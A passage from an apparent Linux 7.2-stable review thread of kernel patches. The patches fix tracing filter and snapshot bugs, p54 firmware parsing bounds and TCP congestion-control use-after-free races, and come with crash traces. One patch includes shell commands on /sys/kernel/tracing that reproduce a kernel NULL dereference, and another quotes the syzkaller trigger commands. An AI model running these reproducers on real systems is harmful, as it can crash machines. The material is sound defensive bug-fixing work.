int i;
-
- nr_preds += 2; /* For TRUE and FALSE */
+ int nr_preds_alloc = nr_preds + 2; /* For TRUE and FALSE */
op_stack = kmalloc_objs(*op_stack, nr_parens);
if (!op_stack)
return ERR_PTR(-ENOMEM);
- prog_stack = kzalloc_objs(*prog_stack, nr_preds);
+ prog_stack = kzalloc_objs(*prog_stack, nr_preds_alloc);
if (!prog_stack) {
parse_error(pe, -ENOMEM, 0);
goto out_free;
}
- inverts = kmalloc_array(nr_preds, sizeof(*inverts), GFP_KERNEL);
+ inverts = kmalloc_array(nr_preds_alloc, sizeof(*inverts), GFP_KERNEL);
if (!inverts) {
parse_error(pe, -ENOMEM, 0);
goto out_free;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 170/242] tracing: Take trace_types_lock when dropping the buffer_meta reference
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (166 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 169/242] tracing: Keep the predicate limit separate from program capacity Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 171/242] tracing: Check operator stack capacity before pushing Greg Kroah-Hartman
` (73 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, David Carlier, Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Carlier <devnexen@gmail.com>
commit 2afe7575fb24b9d0476ae4a3a9862f7997216aa4 upstream.
tracing_buffer_meta_open() drops the trace_array reference with
__trace_array_put() when ring_buffer_meta_seq_init() fails, without
holding trace_types_lock. Use trace_array_put() like every other open
error path.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260914133506.4865-2-devnexen@gmail.com
Fixes: 950032ffcee7 ("ring-buffer: Add output of ring buffer meta page")
Signed-off-by: David Carlier <devnexen@gmail.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace.c
+++ b/kernel/trace/trace.c
@@ -5879,7 +5879,7 @@ static int tracing_buffer_meta_open(stru
ret = ring_buffer_meta_seq_init(filp, tr->array_buffer.buffer, cpu);
if (ret < 0)
- __trace_array_put(tr);
+ trace_array_put(tr);
return ret;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 171/242] tracing: Check operator stack capacity before pushing
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (167 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 170/242] tracing: Take trace_types_lock when dropping the buffer_meta reference Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 172/242] tracing: Do not initialize tracefs work if tracing is disabled Greg Kroah-Hartman
` (72 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Taeyang Lee, Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Taeyang Lee <0wn@theori.io>
commit c47a7b11bcb3d45e29723afcf6336866476b1d08 upstream.
predicate_parse() uses the first operator stack entry before processing
any opening parentheses. A push then increments top before writing.
The existing check still permits that write when top already points to
the last allocated entry, which can access beyond the operator stack.
Reject the push when top reaches the last allocated entry.
Cc: stable@vger.kernel.org
Fixes: 39f7c41c908b ("tracing/filters: Enable filtering a cpumask field by another cpumask")
Link: https://patch.msgid.link/atELO9L0I9kg5CpC@Taeyangs-MacBook-Pro.local
Signed-off-by: Taeyang Lee <0wn@theori.io>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_filter.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace_events_filter.c
+++ b/kernel/trace/trace_events_filter.c
@@ -511,7 +511,7 @@ predicate_parse(const char *str, int nr_
switch (*next) {
case '(': /* #2 */
- if (top - op_stack > nr_parens) {
+ if (top - op_stack >= nr_parens - 1) {
ret = -EINVAL;
goto out_free;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 172/242] tracing: Do not initialize tracefs work if tracing is disabled
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (168 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 171/242] tracing: Check operator stack capacity before pushing Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 173/242] tracing: Fix crash in print_graph_function_event() Greg Kroah-Hartman
` (71 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Michal Suchánek, Amit Machhiwal,
Masami Hiramatsu (Google), Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Amit Machhiwal <amachhiw@linux.ibm.com>
commit b3b974008388ab59e44d764ba7a63c988fec2524 upstream.
If trace buffer allocation fails during early boot (e.g. in
early_trace_init() -> allocate_trace_buffers()), tracing_disabled is
left set to 1 and the global trace array events list remains
uninitialized.
Later during boot, tracer_init_tracefs() (invoked via fs_initcall)
queues tracerfs_init_work asynchronously without checking if tracing was
disabled. When tracer_init_tracefs_work_func() runs, it calls
event_trace_init() and init_tracer_tracefs(&global_trace, NULL)
unconditionally. This leads to __find_event_file() dereferencing an
uninitialized tr->events list, causing an early boot NULL pointer
dereference Oops:
BUG: Kernel NULL pointer dereference on read at 0x00000010
Faulting instruction address: 0xc000000000485be0
Oops: Kernel access of bad area, sig: 7 [#1]
...
NIP [c000000000485be0] __find_event_file+0x70/0x3c0
LR [c000000000448874] init_tracer_tracefs+0x274/0xc80
Call Trace:
init_tracer_tracefs+0x274/0xc80
tracer_init_tracefs_work_func+0x50/0x320
process_one_work+0x1e8/0x5c0
worker_thread+0x1dc/0x3d0
kthread+0x194/0x1b0
start_kernel_thread+0x14/0x18
Check tracing_disabled at the beginning of tracer_init_tracefs_work_func()
and return immediately if tracing is disabled or failed to initialize,
preventing the crash.
Cc: stable@vger.kernel.org
Fixes: 6621a7004684 ("tracing: make tracer_init_tracefs initcall asynchronous")
Link: https://patch.msgid.link/20261009163557.88467-2-amachhiw@linux.ibm.com
Reported-by: Michal Suchánek <msuchanek@suse.de>
Closes: https://lore.kernel.org/all/arYskzbiaNzBR9MD@kunlun.suse.cz/
Signed-off-by: Amit Machhiwal <amachhiw@linux.ibm.com>
Tested-by: Michal Suchánek <msuchanek@suse.de>
Acked-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace.c | 6 ++++++
1 file changed, 6 insertions(+)
--- a/kernel/trace/trace.c
+++ b/kernel/trace/trace.c
@@ -9285,6 +9285,12 @@ static struct notifier_block trace_modul
static __init void tracer_init_tracefs_work_func(struct work_struct *work)
{
+ /*
+ * Do not attempt to initialize tracefs if tracing was disabled or
+ * failed to allocate
+ */
+ if (tracing_disabled)
+ return;
event_trace_init();
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 173/242] tracing: Fix crash in print_graph_function_event()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (169 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 172/242] tracing: Do not initialize tracefs work if tracing is disabled Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 174/242] tracing: Fix hist trigger timestamps for buffered events Greg Kroah-Hartman
` (70 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Steven Rostedt, Hao Ge
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hao Ge <hao.ge@linux.dev>
commit 3cc117514d69067a94d6c7479730dce41e678f50 upstream.
tracing_set_tracer() assigns the flags of the newly selected tracer
with:
tr->current_trace_flags = t->flags ? : t->tracer->flags;
If the new tracer defines neither static flags nor default flags, like
hwlat, irqsoff or wakeup, add_tracer() has no per instance flags copy
for it, and both operands are NULL, so tr->current_trace_flags ends up
being NULL as well.
The ring buffer is not cleared when switching tracers: it is reset
inside tracer_init(), after current_trace_flags was already assigned.
If the buffer still holds function_graph entries of the previous
tracer, printing one of them dereferences the NULL pointer. This was
hit by cat trace during an ftrace stress test:
BUG: kernel NULL pointer dereference, address: 0000000000000000
#PF: supervisor read access in kernel mode
RIP: 0010:print_graph_function_event+0xe/0x20
Call Trace:
s_show+0x4d/0x110
seq_read_iter+0x2d4/0x490
seq_read+0x130/0x170
vfs_read+0xb5/0x370
ksys_read+0x6d/0xe0
do_syscall_64+0xbc/0x450
The snapshot buffer is not reset at all, so this can be reproduced
without a race:
echo function_graph > /sys/kernel/tracing/current_tracer
echo 1 > /sys/kernel/tracing/snapshot
echo hwlat > /sys/kernel/tracing/current_tracer
cat /sys/kernel/tracing/snapshot
Rather than teaching every user of tr->current_trace_flags about this
corner case, make sure it is never NULL: when the newly selected
tracer has no flags at all, tracing_set_tracer() falls back to a
static empty no_tracer_flags. run_tracer_selftest() can hit the same
case, so the same fallback is added there too. The existing users
already handle opts == NULL, so these tracers keep behaving as before.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261015130658.221198-1-hao.ge@linux.dev
Fixes: e29aa918a928 ("tracing: Have function graph tracer define options per instance")
Suggested-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Hao Ge <hao.ge@linux.dev>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace.c | 20 ++++++++++++++++++--
1 file changed, 18 insertions(+), 2 deletions(-)
--- a/kernel/trace/trace.c
+++ b/kernel/trace/trace.c
@@ -100,6 +100,12 @@ struct tracers {
};
/*
+ * Tracers that do not define their own flags use these empty flags,
+ * as tr->current_trace_flags must never be NULL.
+ */
+static struct tracer_flags no_tracer_flags;
+
+/*
* To prevent the comm cache from being overwritten when no
* tracing is active, only save the comm when a trace event
* occurred.
@@ -1318,7 +1324,12 @@ static int run_tracer_selftest(struct tr
tracing_reset_online_cpus(&tr->array_buffer);
tr->current_trace = type;
- tr->current_trace_flags = type->flags ? : type->default_flags;
+ if (type->flags)
+ tr->current_trace_flags = type->flags;
+ else if (type->default_flags)
+ tr->current_trace_flags = type->default_flags;
+ else
+ tr->current_trace_flags = &no_tracer_flags;
#ifdef CONFIG_TRACER_MAX_TRACE
if (tracer_uses_snapshot(type)) {
@@ -5087,7 +5098,12 @@ int tracing_set_tracer(struct trace_arra
return ret;
}
- tr->current_trace_flags = t->flags ? : t->tracer->flags;
+ if (t->flags)
+ tr->current_trace_flags = t->flags;
+ else if (t->tracer->flags)
+ tr->current_trace_flags = t->tracer->flags;
+ else
+ tr->current_trace_flags = &no_tracer_flags;
if (trace->init) {
ret = tracer_init(trace, tr);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 174/242] tracing: Fix hist trigger timestamps for buffered events
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (170 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 173/242] tracing: Fix crash in print_graph_function_event() Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 175/242] tracing: Fix ignored return value of resize_buffer_duplicate_size() Greg Kroah-Hartman
` (69 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Tengda Wu, Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tengda Wu <wutengda@huaweicloud.com>
commit 9414ca3b99e5a7f1f3bf51c2a01b383e1b355dd0 upstream.
Syzkaller triggered a WARN_ON_ONCE(!nest) warning:
WARNING: kernel/trace/ring_buffer.c:821 at ring_buffer_event_time_stamp
Call trace:
ring_buffer_event_time_stamp
hist_field_timestamp
hist_fn_call
event_hist_trigger
event_triggers_call
__event_trigger_test_discard
trace_event_buffer_commit
do_trace_event_raw_event_sched_switch
trace_event_raw_event_sched_switch
The warning is probabilistically reproducible and is related to syzkaller
executing the following commands:
echo 'prev_pid == 999999' > events/sched/sched_switch/filter
echo 'hist:keys=common_timestamp' > events/sched/sched_switch/trigger
The specific triggering process is as follows:
CPU 0 CPU 1
(context switching) (echo 'hist:keys=common_timestamp' > \
events/sched/sched_switch/trigger)
do_trace_event_raw_event_##call
trace_event_buffer_lock_reserve
if (!tr->no_filter_buffering_ref &&
trace_file->flags & EVENT_FILE_FL_FILTERED)
return entry; // return directly
event_hist_trigger_parse
hist_register_trigger
tracing_set_filter_buffering(file->tr, true);
tr->no_filter_buffering_ref++;
__trace_buffer_lock_reserve
rb_start_commit
local_inc(&cpu_buffer->committing); // skipped and not executed
trace_event_buffer_commit
__event_trigger_test_discard
event_triggers_call
event_hist_trigger
hist_fn_call
hist_field_timestamp
ring_buffer_event_time_stamp
nest = local_read(&cpu_buffer->committing);
WARN_ON_ONCE(!nest) // trigger warning
The root cause is that when an event file has a filter attached and the
hist trigger has not yet been attached, trace_event_buffer_lock_reserve()
writes the event into the per-CPU trace_buffered_event temp buffer instead
of reserving it in the ring buffer, so cpu_buffer->committing is not
incremented. When the event is later processed at commit time by a hist
trigger, hist_field_timestamp() -> ring_buffer_event_time_stamp() sees a
zero committing count, triggering WARN_ON_ONCE(!nest).
tracing_event_time_stamp() was added by commit d8279bfc5e959 ("tracing:
Add tracing_event_time_stamp() API") for exactly this case: if the event
is the per-CPU trace_buffered_event, it returns the current ring buffer
timestamp. But it never gained a caller. Use it in hist_field_timestamp(),
so that a hist trigger that races onto a buffered event records the
current time, which is only marginally later than when the event was
recorded, instead of warning and recording a bogus timestamp.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260929104015.1689921-1-wutengda@huaweicloud.com
Fixes: b94bc80df648 ("tracing: Use a no_filter_buffering_ref to stop using the filter buffer")
Signed-off-by: Tengda Wu <wutengda@huaweicloud.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -874,7 +874,7 @@ static u64 hist_field_timestamp(struct h
struct hist_trigger_data *hist_data = hist_field->hist_data;
struct trace_array *tr = hist_data->event_file->tr;
- u64 ts = ring_buffer_event_time_stamp(buffer, rbe);
+ u64 ts = tracing_event_time_stamp(buffer, rbe);
if (hist_data->attrs->ts_in_usecs && trace_clock_in_ns(tr))
ts = ns2usecs(ts);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 175/242] tracing: Fix ignored return value of resize_buffer_duplicate_size()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (171 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 174/242] tracing: Fix hist trigger timestamps for buffered events Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 176/242] wifi: p54: validate firmware record lengths Greg Kroah-Hartman
` (68 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Dmitry Kandybka, Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dmitry Kandybka <d.kandybka@gmail.com>
commit 3110d09bb98e3ac66482a7b257548a1683ec6c1a upstream.
When tr->allocated_snapshot is true, resize_buffer_duplicate_size() is
called to update the snapshot buffer size. However, its return value was
not checked. In case of a failed resize this could lead next snapshot
being incomplete.
Add resize_buffer_duplicate_size() result check and return error if
resize fails.
Compile tested only.
Found by Linux Verification Center (linuxtesting.org) with SVACE.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260928152634.4354-1-d.kandybka@gmail.com
Fixes: 180e4e390978 ("tracing: Add snapshot refcount")
Signed-off-by: Dmitry Kandybka <d.kandybka@gmail.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_snapshot.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
--- a/kernel/trace/trace_snapshot.c
+++ b/kernel/trace/trace_snapshot.c
@@ -675,9 +675,12 @@ tracing_snapshot_write(struct file *filp
if (iter->cpu_file != RING_BUFFER_ALL_CPUS)
return -EINVAL;
#endif
- if (tr->allocated_snapshot)
+ if (tr->allocated_snapshot) {
ret = resize_buffer_duplicate_size(&tr->snapshot_buffer,
&tr->array_buffer, iter->cpu_file);
+ if (ret < 0)
+ return ret;
+ }
ret = tracing_arm_snapshot_locked(tr);
if (ret)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 176/242] wifi: p54: validate firmware record lengths
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (172 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 175/242] tracing: Fix ignored return value of resize_buffer_duplicate_size() Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 177/242] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION) Greg Kroah-Hartman
` (67 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Heyang Tan, Christian Lamparter,
Johannes Berg
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Heyang Tan <thy15333007817@163.com>
commit db7b86bd97b380ece8fa39cfdd7502a9fd35e56f upstream.
The p54 firmware parser accesses component ID and component version
records without checking that their lengths cover the fields being read.
A malformed record can therefore make the parser read past the record.
Validate the component ID and component version record lengths before
accessing their data. The descriptor record is also checked against the
shortest descriptor length found in the supported firmware images.
Reject descriptor values that underflow the RX offset or produce an empty
RX range before updating the driver state.
Assisted-by: LLM Codex
Signed-off-by: Heyang Tan <thy15333007817@163.com>
Tested-by: Christian Lamparter <chunkeey@gmail.com>
Link: https://patch.msgid.link/20260918083349.891-1-thy15333007817@163.com
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/net/wireless/intersil/p54/fwio.c | 42 +++++++++++++++++++++++++++----
1 file changed, 37 insertions(+), 5 deletions(-)
--- a/drivers/net/wireless/intersil/p54/fwio.c
+++ b/drivers/net/wireless/intersil/p54/fwio.c
@@ -52,6 +52,13 @@ int p54_parse_firmware(struct ieee80211_
u32 code = le32_to_cpu(bootrec->code);
switch (code) {
case BR_CODE_COMPONENT_ID:
+ if (len < sizeof(struct bootrec_comp_id) /
+ sizeof(*bootrec->data)) {
+ wiphy_err(priv->hw->wiphy,
+ "firmware component ID is too short\n");
+ return -EINVAL;
+ }
+
priv->fw_interface = be32_to_cpup((__be32 *)
bootrec->data);
switch (priv->fw_interface) {
@@ -72,16 +79,41 @@ int p54_parse_firmware(struct ieee80211_
}
break;
case BR_CODE_COMPONENT_VERSION:
+ if (len < DIV_ROUND_UP(sizeof(struct bootrec_comp_ver),
+ sizeof(*bootrec->data))) {
+ wiphy_err(priv->hw->wiphy,
+ "firmware component version is too short\n");
+ return -EINVAL;
+ }
+
/* 24 bytes should be enough for all firmwares */
- if (strnlen((unsigned char *) bootrec->data, 24) < 24)
- fw_version = (unsigned char *) bootrec->data;
+ if (strnlen((unsigned char *)bootrec->data,
+ sizeof(struct bootrec_comp_ver)) <
+ sizeof(struct bootrec_comp_ver))
+ fw_version = (unsigned char *)bootrec->data;
break;
case BR_CODE_DESCR: {
struct bootrec_desc *desc =
(struct bootrec_desc *)bootrec->data;
- priv->rx_start = le32_to_cpu(desc->rx_start);
- /* FIXME add sanity checking */
- priv->rx_end = le32_to_cpu(desc->rx_end) - 0x3500;
+ u32 rx_start, rx_end;
+
+ /* 0xa is the shortest descriptor in supported firmware. */
+ if (len < 0xa) {
+ wiphy_err(priv->hw->wiphy,
+ "firmware descriptor is too short\n");
+ return -EINVAL;
+ }
+
+ rx_start = le32_to_cpu(desc->rx_start);
+ rx_end = le32_to_cpu(desc->rx_end);
+ if (rx_end < 0x3500 || rx_end - 0x3500 <= rx_start) {
+ wiphy_err(priv->hw->wiphy,
+ "firmware descriptor has invalid RX range\n");
+ return -EINVAL;
+ }
+
+ priv->rx_start = rx_start;
+ priv->rx_end = rx_end - 0x3500;
priv->headroom = desc->headroom;
priv->tailroom = desc->tailroom;
priv->privacy_caps = desc->privacy_caps;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 177/242] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION)
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (173 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 176/242] wifi: p54: validate firmware record lengths Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 178/242] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO) Greg Kroah-Hartman
` (66 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Eric Dumazet, Xiang Mei (Microsoft),
AutonomousCodeSecurity, Cen Zhang (Microsoft Security FORGE Labs),
Jiayuan Chen, Matthieu Baerts (NGI0), Breno Leitao,
Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
commit 5271b79b7ad68dcb222e893773f92bdabf7750f3 upstream.
do_tcp_getsockopt() reads icsk->icsk_ca_ops->name without holding
rcu_read_lock(). Since commit 0baf26b0fcd7 ("bpf: tcp: Support
tcp_congestion_ops in bpf"), icsk_ca_ops can point to dynamically
allocated BPF struct_ops memory that may be freed concurrently via
setsockopt(TCP_CONGESTION), leading to a use-after-free.
BUG: KASAN: slab-use-after-free in _copy_to_user+0x37/0x60
Read of size 16 at addr ffff888013505260 by task exploit/149
_copy_to_user+0x37/0x60
do_tcp_getsockopt+0x158a/0x2460 (net/ipv4/tcp.c:4585)
tcp_getsockopt+0x91/0xf0
__sys_getsockopt+0xf7/0x170
Fix this by holding rcu_read_lock() around the ca_ops->name access,
using READ_ONCE() to load icsk_ca_ops, and copying the name to a
stack buffer before releasing the lock. Also annotate the relevant
icsk_ca_ops stores with WRITE_ONCE() to fix the accompanying KCSAN
data-race issue.
Fixes: 0baf26b0fcd7 ("bpf: tcp: Support tcp_congestion_ops in bpf")
Suggested-by: Eric Dumazet <edumazet@google.com>
Reported-by: Xiang Mei (Microsoft) <xmei5@asu.edu>
Link: https://lore.kernel.org/all/20260821182449.79785-2-blbllhy@gmail.com/
Cc: AutonomousCodeSecurity@microsoft.com
Cc: stable@vger.kernel.org
Reviewed-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
Reviewed-by: Jiayuan Chen <jiayuan.chen@linux.dev>
Reviewed-by: Matthieu Baerts (NGI0) <matttbe@kernel.org>
Reviewed-by: Breno Leitao <leitao@debian.org>
Link: https://patch.msgid.link/d3f97f1acbf0010898148be6e6406e4b8b4a5c84.1787870710.git.blbllhy@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/ipv4/tcp.c | 14 +++++++++++---
net/ipv4/tcp_cong.c | 4 ++--
net/ipv4/tcp_dctcp.c | 2 +-
net/ipv4/tcp_minisocks.c | 2 +-
net/ipv4/tcp_output.c | 2 +-
5 files changed, 16 insertions(+), 8 deletions(-)
--- a/net/ipv4/tcp.c
+++ b/net/ipv4/tcp.c
@@ -4577,16 +4577,24 @@ int do_tcp_getsockopt(struct sock *sk, i
val = !inet_csk_in_pingpong_mode(sk);
break;
- case TCP_CONGESTION:
+ case TCP_CONGESTION: {
+ char ca_name[TCP_CA_NAME_MAX] = {};
+
if (copy_from_sockptr(&len, optlen, sizeof(int)))
return -EFAULT;
len = min_t(unsigned int, len, TCP_CA_NAME_MAX);
if (copy_to_sockptr(optlen, &len, sizeof(int)))
return -EFAULT;
- if (copy_to_sockptr(optval, icsk->icsk_ca_ops->name, len))
+
+ rcu_read_lock();
+ memcpy(ca_name, READ_ONCE(icsk->icsk_ca_ops)->name,
+ sizeof(ca_name));
+ rcu_read_unlock();
+
+ if (copy_to_sockptr(optval, ca_name, len))
return -EFAULT;
return 0;
-
+ }
case TCP_ULP:
if (copy_from_sockptr(&len, optlen, sizeof(int)))
return -EFAULT;
--- a/net/ipv4/tcp_cong.c
+++ b/net/ipv4/tcp_cong.c
@@ -223,7 +223,7 @@ void tcp_assign_congestion_control(struc
ca = rcu_dereference(net->ipv4.tcp_congestion_control);
if (unlikely(!bpf_try_module_get(ca, ca->owner)))
ca = &tcp_reno;
- icsk->icsk_ca_ops = ca;
+ WRITE_ONCE(icsk->icsk_ca_ops, ca);
rcu_read_unlock();
memset(icsk->icsk_ca_priv, 0, sizeof(icsk->icsk_ca_priv));
@@ -253,7 +253,7 @@ static void tcp_reinit_congestion_contro
struct inet_connection_sock *icsk = inet_csk(sk);
tcp_cleanup_congestion_control(sk);
- icsk->icsk_ca_ops = ca;
+ WRITE_ONCE(icsk->icsk_ca_ops, ca);
icsk->icsk_ca_setsockopt = 1;
memset(icsk->icsk_ca_priv, 0, sizeof(icsk->icsk_ca_priv));
--- a/net/ipv4/tcp_dctcp.c
+++ b/net/ipv4/tcp_dctcp.c
@@ -111,7 +111,7 @@ __bpf_kfunc static void dctcp_init(struc
/* No ECN support? Fall back to Reno. Also need to clear
* ECT from sk since it is set during 3WHS for DCTCP.
*/
- inet_csk(sk)->icsk_ca_ops = &dctcp_reno;
+ WRITE_ONCE(inet_csk(sk)->icsk_ca_ops, &dctcp_reno);
INET_ECN_dontxmit(sk);
}
--- a/net/ipv4/tcp_minisocks.c
+++ b/net/ipv4/tcp_minisocks.c
@@ -507,7 +507,7 @@ void tcp_ca_openreq_child(struct sock *s
ca = tcp_ca_find_key(ca_key);
if (likely(ca && bpf_try_module_get(ca, ca->owner))) {
icsk->icsk_ca_dst_locked = tcp_ca_dst_locked(dst);
- icsk->icsk_ca_ops = ca;
+ WRITE_ONCE(icsk->icsk_ca_ops, ca);
ca_got_dst = true;
}
rcu_read_unlock();
--- a/net/ipv4/tcp_output.c
+++ b/net/ipv4/tcp_output.c
@@ -4095,7 +4095,7 @@ static void tcp_ca_dst_init(struct sock
if (likely(ca && bpf_try_module_get(ca, ca->owner))) {
bpf_module_put(icsk->icsk_ca_ops, icsk->icsk_ca_ops->owner);
icsk->icsk_ca_dst_locked = tcp_ca_dst_locked(dst);
- icsk->icsk_ca_ops = ca;
+ WRITE_ONCE(icsk->icsk_ca_ops, ca);
}
rcu_read_unlock();
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 178/242] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO)
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (174 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 177/242] tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION) Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 179/242] cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children Greg Kroah-Hartman
` (65 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Eric Dumazet, AutonomousCodeSecurity,
Cen Zhang (Microsoft Security FORGE Labs), Jiayuan Chen,
Matthieu Baerts (NGI0), Jakub Kicinski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
commit 385e474086c2e7e29e2dded690be40dc273e20ee upstream.
do_tcp_getsockopt() reads icsk->icsk_ca_ops and dereferences the
get_info function pointer without rcu_read_lock(). With BPF struct_ops
congestion control, ca_ops can point to dynamically allocated memory
that is freed concurrently, resulting in a use-after-free when the
